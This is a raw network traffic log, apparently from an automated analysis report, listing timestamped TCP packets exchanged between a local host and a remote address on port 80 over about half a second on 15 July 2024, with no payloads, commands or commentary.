Jul 15, 2024 00:48:35.623111010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623116016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623121977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623132944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623142004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623143911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623153925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623164892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623176098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623186111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623186111 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623195887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623209000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623209953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623220921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623233080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623243093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623250008 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623271942 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623306036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623316050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623326063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623342037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623356104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623358965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623367071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623378038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623384953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623389006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.623408079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623431921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.623661995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648462057 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648472071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648478031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648514032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648523092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648525953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.648535967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648547888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648559093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.648570061 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.648593903 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.709458113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709484100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709496975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709508896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709520102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709532022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709542990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709573984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.709589005 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.709621906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709666014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.709918976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709950924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709963083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.709985971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710017920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710030079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710042000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710052967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710063934 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710063934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710083008 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710115910 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710232019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710243940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710280895 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710392952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710412025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710427999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710439920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710447073 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710452080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710474968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710485935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710486889 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710498095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710510015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710515976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710520983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710540056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710545063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710551977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710575104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710575104 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710587025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710597038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710602045 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710608959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710619926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710622072 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710634947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710639954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710681915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710711956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710731983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710746050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710757017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710767031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710768938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710783005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710792065 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710796118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710809946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710818052 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710841894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.710863113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710899115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.710941076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711374998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711385965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711395979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711425066 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711466074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711477995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711487055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711498976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711503983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711513042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711525917 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711560965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711608887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711628914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711641073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711652040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711663961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711666107 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711677074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711683035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711687088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711699009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711714983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711725950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711730957 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711738110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711754084 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711757898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711770058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711780071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711800098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711831093 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711879015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711893082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711903095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711915970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711925983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.711929083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.711961031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712009907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712022066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712032080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712044001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712047100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712054968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712069988 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712095976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712136984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712148905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712157965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712169886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712194920 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712225914 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712239027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712249041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712260008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712270975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712286949 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712308884 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712434053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712445021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712455034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712466002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712477922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712491035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712498903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712513924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712513924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712526083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712536097 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712558985 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712589025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712599993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712610006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712630033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712641954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712651014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712651968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712665081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712677002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712682962 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712692976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712703943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712714911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712882996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712923050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.712973118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712985039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.712994099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.713004112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.713015079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.713016987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.713027954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.713040113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.713042021 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.713054895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.713077068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.713100910 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.742424965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.742438078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.742448092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.742516041 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.742573023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.742583990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.742594004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.742604017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.742618084 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.742644072 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.106844902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106863022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106882095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106895924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106908083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106920958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106940985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106954098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106961966 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.106965065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106977940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.106988907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107001066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107014894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107026100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107053995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107095003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107106924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107116938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107141018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107144117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107157946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107161045 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107168913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107181072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107192039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107198000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107203960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107215881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107217073 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107230902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107243061 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107244968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107284069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107459068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107470036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107480049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107492924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107497931 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107513905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107525110 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107527018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107539892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107548952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107552052 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107562065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107573032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107573986 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107587099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107599020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107609987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107613087 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107623100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107640982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107837915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107850075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107861996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107872009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107884884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107891083 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107898951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107909918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107917070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107923031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107937098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107947111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.107950926 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107979059 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.107991934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108004093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108014107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108030081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108031034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108043909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108053923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108057022 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108066082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108072996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108078957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108088970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108100891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108109951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108114004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108127117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108139992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108141899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108151913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108163118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108172894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108172894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108186007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108196974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108198881 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108210087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108223915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108223915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108236074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108248949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108263016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108290911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108495951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108509064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108522892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108534098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108537912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108551979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108566999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108599901 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108644962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108659029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108668089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108680964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108692884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108705044 CEST	80	57614	23.227.193.59	192.168.2.5
